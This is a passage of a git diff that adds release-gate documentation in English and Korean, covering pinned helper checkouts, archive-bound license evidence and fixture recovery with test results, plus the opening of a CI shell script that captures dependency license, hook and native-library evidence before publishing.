+this candidate explicitly selects error. Its src/download-artifact.ts
+lines94–136 select immutable IDs from current-run artifacts, lines171–183 pass
+the selected artifact's digest as expectedHash, and lines215–231 throw and fail
+the action on mismatch. A single requested ID avoids the multi-ID partial-match
+warning path. A single selected artifact uses the existing destination root.
+
+Primary sources opened directly:
+https://raw.githubusercontent.com/actions/download-artifact/3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c/action.yml
+https://raw.githubusercontent.com/actions/download-artifact/3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c/src/download-artifact.ts
+
+The pre-download API comparison is not an independent hash of downloaded
+bytes. Byte verification relies on this pinned action's implementation; its
+download library/bundled execution and hosted transport are not executed in
+the local tests. No warning-only revision is treated as equivalent. The API
+record and downloaded record must refer to the same immutable ID; this does
+not establish a release-source build proof or trusted gate success by itself.
+
+## Scoped evidence and remaining holds
+
+Tests execute the actual shell with inert gh output and installed jq. They
+cover a valid record, same-name different ID, different run, absent/modified
+digest, expiry, absent ID, invalid expected digest, different repository and
+API failure. Rejected cases cannot reach the next-step marker. Static checks
+bind download to ID and error-on-digest-mismatch; no real download occurs.
+The first test run failed10 cases because its declaration extractor split at
+child indentation; after anchoring the next input key correctly, the same
+cases execute the shipped shell. This is a test harness repair, not acceptance
+of the failed run.
+
+Source/control equality, fixed helper00c655, full licence/Strix policy,
+platform closure, same-run trusted success aggregation, resource bounds, and
+final R5 HOLD remain unchanged. API rate exhaustion prevents a fresh broad
+external ownership/Project census; no inference of absent external callers or
+approval follows. CodeGraph indexed38 workflow files with0nodes/edges, so all
+workflow call paths are inspected as source rather than graph completeness.
diff --git a/docs/doctoring/release-fixed-helper-source.md b/docs/doctoring/release-fixed-helper-source.md
new file mode 100644
index 0000000000..f93ef9f0c1
--- /dev/null
+++ b/docs/doctoring/release-fixed-helper-source.md
@@ -0,0 +1,34 @@
+# Fixed helper source for release gates
+
+The three trusted checkouts use literal repository `ContextualWisdomLab/.github`
+and reviewed helper revision `00c6551183cca101cfc97c43656a17cc2491c1b4`.
+This is an independent helper revision, not an assertion that helper and called
+workflow revisions are equal. A future workflow change does not silently update
+these helper bytes. Updating the pin and content identities requires review.
+
+All three checkouts materialize `scripts/ci/` and
+`requirements-strix-ci-hashes.txt`, preserving helper siblings. Before executing
+helpers they verify checkout HEAD, canonical origin URL, the scripts tree
+`bf26d3eefdb71fe79b855d941ffb46eb432b2f76`, lock blob
+`9e705850b5ce53c7fe836bc3df3a18771151e3f6`, tracked-file cleanliness and required
+entrypoints. Missing, foreign or mismatched source rejects. The step reports
+helper repository/SHA separately from caller workflow SHA. The latter is only
+provenance context, never a checkout selector or authorization input.
+
+GitHub's [current context reference](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts#job-context)
+documents called-job workflow identity fields, but actionlint 1.7.12 and the
+inspected upstream main strict schema do not yet support them. This alternative
+uses neither those expressions nor an ignored diagnostic or permissive schema.
+It changes the contract from called-self checkout to an explicitly adopted
+fixed helper snapshot. The earlier called-self candidate remains separate.
+
+Local synthetic guards exercise valid identity, another caller SHA, missing
+git source, foreign origin, wrong HEAD/tree, dirty tracked files and a missing
+entrypoint. They do not perform checkout or network access. Hosted checkout and
+attestation behavior remain unexecuted.
+
+`SOURCE_SHA == GITHUB_SHA`, full licence/Strix authorization, twelve-platform
+closure and complete resource intake budgets remain unresolved independently.
+No condition is relaxed by this source-selection fix. The pinned snapshot
+retains its existing licence/tool-dependency limitations; exact-byte provenance
+does not imply policy acceptance.
diff --git a/docs/doctoring/release-license-archive-binding-20260924.md b/docs/doctoring/release-license-archive-binding-20260924.md
new file mode 100644
index 0000000000..745e843727
--- /dev/null
+++ b/docs/doctoring/release-license-archive-binding-20260924.md
@@ -0,0 +1,64 @@
+# Archive-bound license evidence candidate
+
+Base: `a78b1c9f788d1a89fd7c8ab39d6347152b7e3065`.
+
+## Reproduced defect
+
+`/private/tmp/pr2347-archive-binding-repro.py` exercises the real capture, license
+gate and install-lock binder. Its synthetic wheel contains academic-only terms,
+while the separately supplied raw `licenses/LICENSE` contains the reviewed pytest
+MIT text. The wheel and lock SHA-256 both equal
+`659169bde33b6d27bf4cf927c01d69418cc97241bf728627448542f781c2771d`.
+The base gate returns PASS and the binder writes that restrictive archive's hash.
+This is a synthetic exploit, not a claim about any upstream package.
+The raw receipt is `/private/tmp/pr2347-archive-binding-repro.md`.
+
+## Candidate contract
+
+- Raw capture retains `source.archive` for both wheel and crate inputs.
+- One bounded byte read supplies both the archive digest and in-memory license
+  extraction. No archive extraction or package execution occurs in this helper.
+- Conventional license/notice names at every depth and declared custom
+  `License-File` / Cargo `license-file` members are inspected. Missing declared
+  members, duplicate normalized paths, traversal, archive links, invalid text
+  and malformed archives refuse the capture.
+- Separate raw license sidecars no longer supply the license decision.
+- The gate reopens the retained archive and compares the source digest, full
+  license text mapping and raw member SHA-256 mapping against the evidence.
+- The install binder verifies those member hashes against the collected wheel
+  and repeats the license decision on its actual member bytes before writing
+  the pinned install lock. Forged permissive report fields cannot authorize
+  an unrecognized restrictive body.
+
+## Verification
+
+The existing eight targeted test files plus
+`tests/test_release_dependency_archive_binding.py` produce **296 passed,
+1 skipped**, raw exit **0**, in 4.67 seconds. The skip is the existing GNU-find
+Linux capture integration case; it is not a new skip.
+
+The 16 added cases cover Python/Cargo sidecar forgery, evidence alteration,
+archive replacement, archive absence, duplicate archive members, nested/raw-byte
+hash preservation, custom wheel license paths and missing declarations, plus
+two real shell install-binder refusals. A fake pip recorder establishes zero
+install calls in both new install-negative cases. No real install or download
+is used. Existing fixture archives now carry the same source-bound full texts
+used by their license tests; one formerly permissive missing-archive capture
+expectation changes to an explicit refusal.
+
+`git diff --check` and shell syntax checking also return 0. This is a selected
+regression result, not full-suite, coverage, hosted execution or release approval.
+
+## Remaining boundaries
+
+Raw shell capture still performs its existing extraction/native/hook collection
+before assembly. Those scanners and separate metadata are not all reconstructed
+from the retained snapshot by this patch. This candidate closes the demonstrated
+license-sidecar binding defect; it does not certify every captured evidence field
+or shell extraction as safe. The final install trusts the protected workflow
+workspace to prevent mutation between binding and pip's hash-checked read.
+
+Only the previously reviewed exact full texts are recognized. Unsupported texts,
+MPL/BSL complex provenance, NumPy bundle questions, tools/sidecar pre-install
+coverage and complete dependency closure remain held. No license exception or
+legal conclusion follows from this candidate.
diff --git a/docs/doctoring/release-license-fixture-recovery-20260924.md b/docs/doctoring/release-license-fixture-recovery-20260924.md
new file mode 100644
index 0000000000..ed010bf912
--- /dev/null
+++ b/docs/doctoring/release-license-fixture-recovery-20260924.md
@@ -0,0 +1,52 @@
+# 기존 18실패의 원문 근거 복원
+
+기준 `4fe66efdcee6bb6b68e5a6c386feea7280ecea8d`에서 새 브랜치 `codex/pr2347-source-fixture-recovery-20260924`를 사용한다. 기존 여섯 원문의 JSON 값과 provenance 첫 여섯 행은 Git blob 대조로 불변을 확인한다.
+
+공통 fixture는 Python MIT→실제 pytest 전체 MIT, Cargo Apache→실제 atheris 전체 Apache로 연결한다. 패키지 자체에 atheris라는 이름을 붙이거나 metadata 누락을 고친다는 주장이 아니라, synthetic gate fixture의 동일 SPDX 본문을 검증 가능한 전체 원문으로 복원한다. Cargo를 MIT로 바꾸지 않는다. 원문 hash는 기존 provenance에 있다.
+
+## 18개 before/after 기대와 근거
+
+아래 이름은 `test_release_dependency_license_text_evidence.py` 기준이다. P=Python 원문, C=Cargo 원문이다. 기존 실패의 별도 C UNVERIFIED는 실제 Apache 전체 원문으로 해소한다. 검사의 핵심 실패 사유를 삭제하지 않는다.
+
+|번호|사례|before expected|after expected 및 변경 근거|
+|---|---|---|---|
+|1|no_bundled_text|MISSING 1개|동일. C만 전체 Apache로 복원|
+|2|unrecognizable[unknown]|UNVERIFIED 1개|동일. UNKNOWN 입력 유지|
+|3|unrecognizable[commercial-prohibited]|UNVERIFIED 1개|동일. 상업 금지 입력 유지|
+|4|unrecognizable[empty]|UNVERIFIED 1개|동일. 빈 원문 유지|
+|5|unrecognizable[pointer]|UNVERIFIED 1개|동일. 링크-only 입력 유지|
+|6|unrecognizable[all-rights-reserved]|UNVERIFIED 1개|동일. 권리 유보 입력 유지|
+|7|recognized_text_contradicts_declaration|DISAGREEMENT 1개|동일. MIT 선언에 실제 전체 Apache를 넣음|
+|8|denied_title_disagreement|DISAGREEMENT 1개|동일. 정상 LICENSE는 실제 MIT, 별도 GPL COPYING 유지|
+|9|matching_declaration|실패 없음|동일. 전체 pytest MIT 사용|
+|10|permissive_family[Apache]|실패 없음|동일. 전체 atheris Apache 사용|
+|11|permissive_family[BSD3]|실패 없음|동일. 전체 colorama BSD3 사용|
+|12|permissive_family[ISC]|실패 없음|동일. 전체 libloading ISC 사용|
+|13|permissive_family[MPL]|실패 없음|제목-only 원문은 UNVERIFIED. unsupported_title_only[MPL]로 목적을 명시하며 동일 입력을 유지. 실제 hypothesis 복합 적용 범위는 아래 별도 HOLD|
+|14|permissive_family[BSL]|실패 없음|제목-only 원문은 UNVERIFIED. unsupported_title_only[BSL]로 목적을 명시하며 동일 입력을 유지. 기존 cache 인벤토리에 BSL 원문 mapping이 없음|
+|15|permissive_family[Unlicense]|실패 없음|동일. memchr의 실제 전체 UNLICENSE 사용|
+|16|dual_selection_disagreement|DISAGREEMENT 1개|동일. BSD/GPL 선언·BSD 선택에 실제 전체 MIT를 넣어 불일치 유지|
+|17|recognizer_positive_half|MIT 포함|동일. 전체 MIT를 사용하고 UNKNOWN 반환 검사는 유지|
+|18|install_binding cargo_only_release|실패 없음, lock digest 없음|동일. C에 전체 Apache를 연결. lock/hash 구현은 변경하지 않음|
+
+BSD 선택 양성과 sealed SBOM 선택 rationale 테스트도 동일 colorama BSD3 전체 원문으로 복원한다. 앞 후보의 부분 Apache 거부 테스트는 공통 fixture 변경에 영향받지 않도록 그 테스트에서 부분 Apache를 명시한다. 기존 음성을 정상으로 변경하지 않는다.
+
+## 추가 실제 원문과 보류
+
+memchr2.8.3 `.crate` SHA256 `cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98`, member `memchr-2.8.3/UNLICENSE`, 원시 `7e12e5df4bae12cb21581ba157ced20e1986a0508dd10d0e8a4ab9a4cf94e85c`, 정규화 `2069c208cba553e43cd0b730df8a0c10bf1b1101b96f661e2f1307c73b9722e3`다. 전체 본문에서 copy/modify/publish/use/compile/sell/distribute, commercial or non-commercial, public-domain dedication 및 면책을 직접 읽는다. 다른 추가 조건을 발견하지 않는다. 이 파일만 registry에 추가하며 crate의 COPYING pointer·MIT/Unlicense 선택 전체를 자동 수용하지 않는다.
+
+hypothesis6.156.6 wheel SHA256 `b4e66aaa7385538a5d617174d47c198ee807f06de99e282a67c6cb724c69340d`, member `hypothesis-6.156.6.dist-info/licenses/LICENSE.txt`, raw `ac89037bac63550644dce8cf32c6765e5fab9dc1a1ce94b89f8a805f341a6750`이다. 전체 1–10절과 Exhibits A/B를 읽는다. 앞부분은 명시된 예외 외 MPL 적용, 다른 프로젝트 코드의 원래 license와 수정 dual license를 설명한다. METADATA의 License-Expression=MPL-2.0/License-File=LICENSE.txt이며, archive의 license/copying/notice 이름 member는 이 파일 하나다. 개별 코드의 다른 원래 라이선스 적용 범위는 이 한 파일로 확정되지 않아 후속 mapping 검토가 필요하다.
+
+1.12절의 GPL/LGPL/AGPL 명칭은 Secondary License 정의다. 그 이름만으로 실제 금지 의존성이나 선택된 copyleft라고 판정하지 않는다. 기존 `scan_license_text`가 이 명칭에서 거부하는 문제는 의미 구분이 없는 별도 한계다. 이번 원문은 `unsupported-hypothesis.json`에 원시 hash와 함께 보존하고 recognizer UNKNOWN을 확인하며, keyword 거부를 실제 GPL 확정 판정으로 승인하지 않는다. 이번 범위에서 scanner 예외를 새로 허용하지 않는다.
+
+## 실행
+
+```
+PYTHONDONTWRITEBYTECODE=1 PYTEST_DISABLE_PLUGIN_AUTOLOAD=1 python3 -B -m pytest --noconftest -p no:cacheprovider -o addopts= tests/test_release_dependency_license_text_evidence.py tests/test_release_dependency_install_binding.py tests/test_release_dependency_install_ordering.py tests/test_release_dependency_full_text_contract.py tests/test_release_dependency_reviewed_artifact_texts.py tests/test_spdx_license_policy.py tests/test_release_dependency_gate.py tests/test_release_dependency_gate_capture_and_seal.py -q --tb=short
+280 passed, 1 skipped in 2.94s
+raw exit 0
+```
+
+최초 실행은 sealed SBOM 사례의 REVIEWED_TEXTS import 누락으로 1 failed/279 passed/1 skipped/exit1이다. 실제 해당 함수 import를 고쳐 위 결과를 얻는다. 기존 skip은 macOS의 GNU find capture 경로이며 새 skip을 추가하지 않는다. 검사 삭제 없이 MPL/BSL 두 parameter를 별도 UNKNOWN 음성으로 유지하고, 실원문과 추가 제한·다중 파일·미선언 거부 회귀를 함께 실행한다. 마지막 unused import 제거는 실행 경로와 무관하다.
+
+`git diff --check` exit0. 기존6개 텍스트/provenance 불변 대조 true. 전체 suite·coverage·hosted·tooldeps·현재 release closure는 이번 소형 성공으로 수용하지 않으며 HOLD다.
diff --git a/docs/doctoring/release-license-six-artifact-texts-20260924.md b/docs/doctoring/release-license-six-artifact-texts-20260924.md
new file mode 100644
index 0000000000..c477bcb52c
--- /dev/null
+++ b/docs/doctoring/release-license-six-artifact-texts-20260924.md
@@ -0,0 +1,30 @@
+# 실제 artifact 원문 여섯 개의 증분 인식
+
+이 후보는 `4329ebb84ddac1752e5c4149fd3c94731b262f2e` 뒤에 여섯 전체 원문 hash를 추가한다. 일반적인 라이선스 판별기나 전체 배포 closure 승인으로 확대하지 않는다. production 변경은 기존 `_VERIFIED_LICENSE_TEXT_DIGESTS` 추가뿐이다.
+
+## 출처와 직접 읽은 범위
+
+자료는 기존 로컬 FMLS license evidence archive다. artifact filename/SHA256, 내부 member, 원시 SHA256, 정규화 SHA256, SPDX 대응은 `tests/fixtures/release_license_texts/provenance.json`에 기록한다. 원문은 기억에서 재작성하지 않고 archive member를 UTF-8로 읽는다. 전체 본문을 줄 생략 없이 확인한다. `texts.json`의 각 문자열을 UTF-8로 인코딩한 바이트가 원시 member hash와 일치하는지 테스트한다. `fixture` 필드는 이 JSON 안의 키다. 끝 개행이 없는 원문도 그대로 보존한다.
+
+|실제 원문|읽은 허용·조건과 경계|
+|---|---|
+|pytest9.1.1 LICENSE / MIT|전체 grant에 use/copy/modify/merge/publish/distribute/sublicense/sell과 without restriction이 있다. copyright·permission notice 보존 및 보증 면책을 읽는다. 정확한 Holger Krekel 머리말도 hash에 포함한다. 다른 MIT 머리말을 자동 인정하지 않는다.|
+|atheris3.1.0 LICENSE / Apache-2.0|1–9절과 적용 부록 전체다. 2절 copyright grant, 3절 patent grant·소송 종료조건, 4절 재배포·수정·고지, 5절 contribution, 6절 trademark, 7–9절 보증·책임을 읽는다. 별도 NC/학술 전용 부속문구는 없다. 이는 파일의 인식이며 실제 atheris의 metadata 선언 누락은 계속 HOLD다.|
+|Rust numpy0.29.0 LICENSE / BSD-2-Clause|source·binary 재배포 허용, 두 고지 보존 조건, 전체 면책을 읽는다. PyPI NumPy 복합 원문과 다른 파일이다.|
+|colorama0.4.6 LICENSE.txt / BSD-3-Clause|source·binary 재배포 허용, 고지 보존 두 조건, 이름을 허가 없이 endorsement에 사용하지 않는 세 번째 조건과 면책을 읽는다. 추가 상업 이용 금지는 없다.|
+|libloading0.8.9 LICENSE / ISC|any purpose with or without fee의 use/copy/modify/distribute 허용, copyright·permission notice 보존, 전체 면책을 읽는다. Simonas Kazlauskas 머리말을 포함한다.|
+|foldhash0.2.0 LICENSE / Zlib|any purpose including commercial applications, alter/redistribute 허용과 출처 오인 금지·변형 표시·고지 제거 금지 세 조건을 읽는다. 전체 면책도 포함한다.|
+
+모두 저장된 실제 소스에 대한 인식 지원이다. 상용 제품의 모든 법적 의무 충족을 확정하는 판단이 아니다. 선택된 OR의 pointer 문서, PyPI NumPy의 GPL/LGPL 복합 원문, upstream 16개, 다른 copyright/원문 변형, 수집 누락은 별도 HOLD다. 추가 파일마다 기존 consumer의 검사가 계속 적용된다.
+
+## 검사와 실패 보존
+
+명령 공통 환경: `PYTHONDONTWRITEBYTECODE=1 PYTEST_DISABLE_PLUGIN_AUTOLOAD=1 python3 -B -m pytest --noconftest -p no:cacheprovider -o addopts=`.
+
+- `tests/test_release_dependency_reviewed_artifact_texts.py tests/test_release_dependency_full_text_contract.py tests/test_spdx_license_policy.py -q`: 99 passed, raw exit0. 여섯 실제 원문의 hash·정상 consumer, 앞/뒤/중간 추가 조건, 별도 NOTICE 제한, atheris 선언 누락 유지가 포함된다.
+- 첫 fixture 생성은 끝 개행을 추가해 원시 hash 6건이 실패(6 failed/93 passed)하고, 첫 보정은 개행 없는 2개 파일 끝 문자를 훼손해 4 failed/95 passed다. 원문 문자열을 JSON에 그대로 보존하는 방식으로 보정하고 모든 원시 hash를 다시 확인한다. 정규화 hash만 일치한다는 이유로 이 실패를 무시하지 않는다.
+- 기존 비교군 `test_release_dependency_license_text_evidence.py`, `test_release_dependency_install_binding.py`, `test_release_dependency_install_ordering.py`: 18 failed/27 passed/1 skipped, raw exit1. 이전과 같은 미지원 부분 원문 기대값 실패를 보존한다. 기존 fixture 수정은 없다.
+
+이전18건 중 잘못된 양성 기대는 짧은 MIT/Apache/BSD/ISC/MPL/BSL/Unlicense 제목·일부 grant를 완전 원문으로 취급하는 부분이다. 정상 corpus를 바꾸려면 그 라이선스의 실제 전체 자료와 hash를 같은 SPDX로 연결하는 별도 diff가 필요하다. Cargo Apache 제목-only fixture도 Apache 전체 원문으로 복원해야 하며, MIT로 바꾸는 방식은 허용하지 않는다. 이번 변경은 그 기대값을 편의상 고치지 않는다.
+
+전체 suite·coverage·hosted·tooldeps 검사와 publish는 미실행·HOLD다. 여섯 원문 추가로 범위 전체를 수용하지 않는다.
diff --git a/docs/doctoring/release-license-whole-text-candidate-20260924.md b/docs/doctoring/release-license-whole-text-candidate-20260924.md
new file mode 100644
index 0000000000..ffa9db7855
--- /dev/null
+++ b/docs/doctoring/release-license-whole-text-candidate-20260924.md
@@ -0,0 +1,34 @@
+# PR2347 전체 원문 확인 중간 후보
+
+기준은 `48caafec7160dd0cb9bafc58b28a884dc4c35cbb`이다. 원문 제목/부분 문자열만으로 허용하는 P1을 닫는 로컬 후보이며, 전체 의존성 정책 구현 완료나 병합·배포 수용을 뜻하지 않는다.
+
+## 근거와 지원 경계
+
+직접 읽은 저장소 `LICENSE` 전체를 근거로 삼는다. 원시 SHA256은 `08f1fd81fb120bc468b69dc3e58ea0dc23c216305c766e45e107f56c76559e3f`이다. ASCII 공백·탭·CR·LF만 연속 공백 하나로 정규화한 전체 본문 SHA256은 `f5ac0308cf2b3f96a0f49a8c0c9e4a2a02c483afc72a646af8de1f356983de06`이다.
+
+검증 지원은 이 MIT 원문 한 개이며 Copyright 문구까지 포함한다. 다른 저작권자 머리말도 아직 UNKNOWN이다. 임의 머리말·추가 조건·접미사·유니코드 제어 문자를 지우지 않는다. SPDX 선언, 제목, 허용 구절만으로 확인된 원문이 되지 않는다. 이 레지스트리는 새로운 의존성을 라이선스 이름만으로 승인하는 수단이 아니다.
+
+실제 closure에 필요한 BSD, Apache, CC0 및 다른 라이선스 원문·변형 지원은 미완료다. 각 원문과 전체 일치 계약을 독립 검토한 뒤 별도 증분으로 추가해야 한다. 현재 인벤토리 전체 PASS는 불가능하다. 설치 전 도구 의존성 검사는 별도 미해결이다.
+
+`recognize_license_text`의 production caller는 `release_dependency_gate.evaluate_dependency_license`다. CodeGraph는 해당 트리에 index가 없다고 반환하며, 소스 참조를 직접 대조한다. caller가 파일마다 판정하므로 허용 LICENSE와 별도 제한 NOTICE를 함께 넣어도 거부한다.
+
+## 검증
+
+모든 명령은 이 별도 작업 트리에서 실행한다. 환경은 `PYTHONDONTWRITEBYTECODE=1 PYTEST_DISABLE_PLUGIN_AUTOLOAD=1`, 공통 인자는 `python3 -B -m pytest --noconftest -p no:cacheprovider -o addopts=`다.
+
+1. `tests/test_release_dependency_full_text_contract.py tests/test_spdx_license_policy.py -q`: **68 passed, raw exit 0**. 최초 실행은 새 테스트에서 상수 소유 모듈을 잘못 적어 1 failed/67 passed/exit1이다. `policy.LICENSE_TEXT_DISAGREEMENT`를 실제 소유자 `gate`로 고친 뒤 위 결과를 얻는다.
+2. 기존 소형 비교군 `tests/test_release_dependency_license_text_evidence.py tests/test_release_dependency_install_binding.py tests/test_release_dependency_install_ordering.py -q --tb=no`: **18 failed, 27 passed, 1 skipped, raw exit 1**. 기존 fixture는 수정하지 않는다.
+3. `git diff --check`: exit0.
+
+새 회귀는 실제 gate의 MIT 추가 상업 제한과 CC0/NonCommercial 반례를 거부하고, 완전한 확인 MIT 원문은 동일 dependency caller에서 통과시킨다. gate 전체의 정상 Python 사례에서도 기존 Cargo Apache fixture가 UNKNOWN으로 남아 전체 통과를 주장하지 않는다. GPL 별도 파일, 추가 NOTICE, 본문 변조·앞뒤 조건·NUL·zero-width suffix도 확인한다.
+
+### 보존하는 기존 실패 분류
+
+- 원문 누락/UNKNOWN/별도 GPL 등 기존 원인 자체는 계속 거부한다. 같은 capture의 Cargo Apache 제목-only fixture가 추가 `LICENSE_TEXT_UNVERIFIED`를 내므로 기존 exact-single-failure 기대와 다르다.
+- MIT·Apache·BSD·ISC·MPL·BSL·Unlicense 부분 원문을 정상으로 기대한 사례와 recognizer 직접 호출의 부분 MIT 기대는 더 이상 충족하지 않는다.
+- 기존 Apache-vs-MIT 제목-only 불일치는 확인된 Apache가 아니므로 UNKNOWN으로 분류한다. 지원하지 않는 본문에서 라이선스 종류를 확정하지 않는다.
+- Cargo-only binding 테스트는 그 Apache fixture 원문의 미확인 때문에 실패한다. lock hash 결속 구현의 변경은 아니다.
+
+실제 gate 분류 재확인: Python 원문 없음은 MISSING + Cargo UNVERIFIED, Python UNKNOWN/부분 MIT/부분 Apache는 각각 Python UNVERIFIED + Cargo UNVERIFIED다. 합성 Cargo를 MIT로 바꿔 실패를 숨기지 않는다.
+
+전체 suite·coverage·hosted CI·Linux capture·원문 수집 완전성·tooldeps 설치 전 검사는 이번 수용 밖이며 HOLD다. 이 후보는 공개 push 없이 다른 reviewer의 검토에 인계한다.
diff --git a/scripts/ci/release_dependency_capture_raw.sh b/scripts/ci/release_dependency_capture_raw.sh
new file mode 100755
index 0000000000..b1390ac750
--- /dev/null
+++ b/scripts/ci/release_dependency_capture_raw.sh
@@ -0,0 +1,391 @@
+#!/usr/bin/env bash
+# Collect raw pre-publish dependency evidence for the central release gate (#2342).
+#
+# This script only *runs tools and writes their output verbatim*. Every decision
+# — license policy, lock/environment reconciliation, archive-escape and
+# install-hook detection, Strix binding validation — lives in the unit-tested
+# scripts/ci/release_dependency_gate.py, which reads what this writes. Keeping
+# the split that way means no untested shell ever decides whether a release may
+# publish.
+#
+# It requires a runner: pip, cargo, readelf, and network access to the indexes.
+# It is therefore exercised in GitHub Actions only; see
+# .github/workflows/release-dependency-license-strix-gate.yml.
+#
+# Output layout (consumed by `release_dependency_gate.py capture` and `gate`):
+#
+#   <capture>/python/lock.txt          the hash-pinned lock that was collected
+#   <capture>/python/installed.json    declared identity/licence per fetched
+#                                      distribution, in `pip inspect` shape
+#   <capture>/cargo/Cargo.lock         the committed Cargo lock
+#   <capture>/cargo/metadata.json      cargo metadata --format-version 1 --locked
+#   <raw>/<slug>/metadata.json         declared identity + license fields
+#   <raw>/<slug>/source.sha256         sha256 of the distribution as fetched
+#   <raw>/<slug>/members.txt           "<type>\t<name>\t<linkname>" per member
+#   <raw>/<slug>/licenses/*            bundled LICENSE/COPYING/NOTICE verbatim
+#   <raw>/<slug>/hooks/*               setup.py / build.rs sources verbatim
+#   <raw>/<slug>/native.json           dynamic/static link targets per shipped .so
+#   <raw>/<slug>/parsed_inputs.txt     file names the dependency parses
+
+set -euo pipefail
+
+RAW_ROOT=""
+CAPTURE_ROOT=""
+ECOSYSTEMS=""
+PYTHON_LOCK=""
+PYTHON_INTERPRETER=""
+CARGO_MANIFEST=""
+DOWNLOAD_ROOT=""
+LICENSE_REPORT=""
+MODE="capture"
+
+while [ "$#" -gt 0 ]; do
+	case "$1" in
+	--raw-root) RAW_ROOT="$2"; shift 2 ;;
+	--capture-root) CAPTURE_ROOT="$2"; shift 2 ;;
+	--ecosystems) ECOSYSTEMS="$2"; shift 2 ;;
+	--python-lock) PYTHON_LOCK="$2"; shift 2 ;;
+	--python-interpreter) PYTHON_INTERPRETER="$2"; shift 2 ;;
+	--cargo-manifest) CARGO_MANIFEST="$2"; shift 2 ;;
+	--download-root) DOWNLOAD_ROOT="$2"; shift 2 ;;
+	--license-report) LICENSE_REPORT="$2"; shift 2 ;;
+	--install-gated) MODE="install"; shift ;;
+	*) echo "ERROR: unknown argument $1" >&2; exit 2 ;;
+	esac
+done
+
+if [ "$MODE" = "install" ]; then
+	if [ -z "$PYTHON_LOCK" ] || [ ! -f "$PYTHON_LOCK" ] || [ -z "$DOWNLOAD_ROOT" ]; then
+		echo "ERROR: --install-gated requires --python-lock and --download-root." >&2
+		exit 2
+	fi
+	if [ -z "$LICENSE_REPORT" ] || [ -z "$CAPTURE_ROOT" ]; then
+		echo "ERROR: --install-gated requires --license-report and --capture-root." >&2
+		exit 2
+	fi
+else
+	if [ -z "$RAW_ROOT" ] || [ -z "$CAPTURE_ROOT" ] || [ -z "$ECOSYSTEMS" ]; then
+		echo "ERROR: --raw-root, --capture-root and --ecosystems are required." >&2
+		exit 2
+	fi
+	mkdir -p "$RAW_ROOT" "$CAPTURE_ROOT"
+fi
+
+# The pip entry point is a variable only so the wiring can be regression-tested
+# without a network: a test points RELEASE_GATE_PIP at a recorder and asserts
+# which pip invocations happened, and in what order, for a refused release.
+PIP=(python3 -m pip)
+if [ -n "${RELEASE_GATE_PIP:-}" ]; then
+	PIP=("${RELEASE_GATE_PIP}")
+fi
+
+# Resolved from this script's own directory, never from the caller's cwd or an
+# environment variable, so the trusted gate cannot be swapped by a PR.
+GATE_SCRIPT="$(cd -- "$(dirname -- "$0")" && pwd)/release_dependency_gate.py"
+
+# pip's global --python re-executes pip against another interpreter, which is how
+# the lock-only virtual environment is installed into by the gated install mode.
+PIP_TARGET_ARGS=()
+if [ -n "$PYTHON_INTERPRETER" ]; then
+	# `python3 -m venv` uses symlinks by default on POSIX, so a normal virtual
+	# environment's bin/python *is* a symlink; refusing symlinks outright rejected
+	# every real venv and made this path unreachable. What must be refused is a
+	# target that is not a regular executable file, or a dangling link, so the link
+	# is resolved and the resolved target is checked.
+	resolved_interpreter="$(cd -- "$(dirname -- "$PYTHON_INTERPRETER")" 2>/dev/null && pwd -P)/$(basename -- "$PYTHON_INTERPRETER")"
+	while [ -L "$resolved_interpreter" ]; do
+		link_target="$(readlink -- "$resolved_interpreter")"
+		case "$link_target" in
+		/*) resolved_interpreter="$link_target" ;;
+		*) resolved_interpreter="$(dirname -- "$resolved_interpreter")/$link_target" ;;
+		esac
+	done
+	if [ ! -f "$resolved_interpreter" ] || [ ! -x "$resolved_interpreter" ]; then
+		echo "ERROR: --python-interpreter must resolve to a regular executable interpreter." >&2
+		exit 2
+	fi
+	PIP_TARGET_ARGS=(--python "$PYTHON_INTERPRETER")
+fi
+
+# Record one archive's members as "<type>\t<name>\t<linkname>". Symlink and
+# hardlink targets are preserved verbatim so the gate can detect escapes.
+record_members() {
+	local archive="$1" destination="$2"
+	case "$archive" in
+	*.whl | *.zip)
+		unzip -Z1 "$archive" | while IFS= read -r member; do
+			printf 'file\t%s\t\n' "$member"
+		done
+		;;
+	*)
+		tar -tvf "$archive" | while IFS= read -r line; do
+			local permissions name link type
+			permissions="${line%% *}"
+			name="$(printf '%s' "$line" | sed -E 's/^.* [0-9]{2}:[0-9]{2} //')"
+			link=""
+			type="file"
+			case "$permissions" in
+			l*) type="symlink"; link="${name#* -> }"; name="${name%% -> *}" ;;
+			h*) type="hardlink"; link="${name#* link to }"; name="${name%% link to *}" ;;
+			d*) type="directory" ;;
+			esac
+			printf '%s\t%s\t%s\n' "$type" "$name" "$link"
+		done
+		;;
+	esac >"$destination"
+}
+
+# Record every bundled license-like file verbatim, flattened into one directory.
+record_license_files() {
+	local root="$1" destination="$2"
+	mkdir -p "$destination"
+	find "$root" -maxdepth 4 -type f \
+		\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' \) -print0 |
+		while IFS= read -r -d '' found; do
+			cp -- "$found" "$destination/$(printf '%s' "${found#"$root"/}" | tr '/' '_')"
+		done
+}
+
+# Record install/build hook sources verbatim so the gate can inspect them.
+record_hook_sources() {
+	local root="$1" destination="$2"
+	mkdir -p "$destination"
+	find "$root" -maxdepth 3 -type f \
+		\( -name 'setup.py' -o -name 'build.rs' -o -name 'conanfile.py' \) -print0 |
+		while IFS= read -r -d '' found; do
+			cp -- "$found" "$destination/$(printf '%s' "${found#"$root"/}" | tr '/' '_')"
+		done
+}
+
+# Record dynamic NEEDED entries and shipped static archives for native libraries.
+record_native_libraries() {
+	local root="$1" destination="$2"
+	local entries="[]"
+	while IFS= read -r library; do
+		local needed
+		needed="$(readelf -d "$library" 2>/dev/null |
+			sed -n 's/.*(NEEDED).*\[\(.*\)\]/\1/p' |
+			jq -R . | jq -s .)"
+		entries="$(jq --arg path "${library#"$root"/}" --argjson needed "${needed:-[]}" \
+			'. + [{"path": $path, "needed": $needed, "static_archives": []}]' <<<"$entries")"
+	done < <(find "$root" -type f \( -name '*.so' -o -name '*.so.*' -o -name '*.pyd' \))
+	printf '%s\n' "$entries" >"$destination"
+}
+
+capture_python() {
+	local lock="$1"
+	mkdir -p "$CAPTURE_ROOT/python" "$DOWNLOAD_ROOT"
+	cp -- "$lock" "$CAPTURE_ROOT/python/lock.txt"
+
+	local plain_requirements
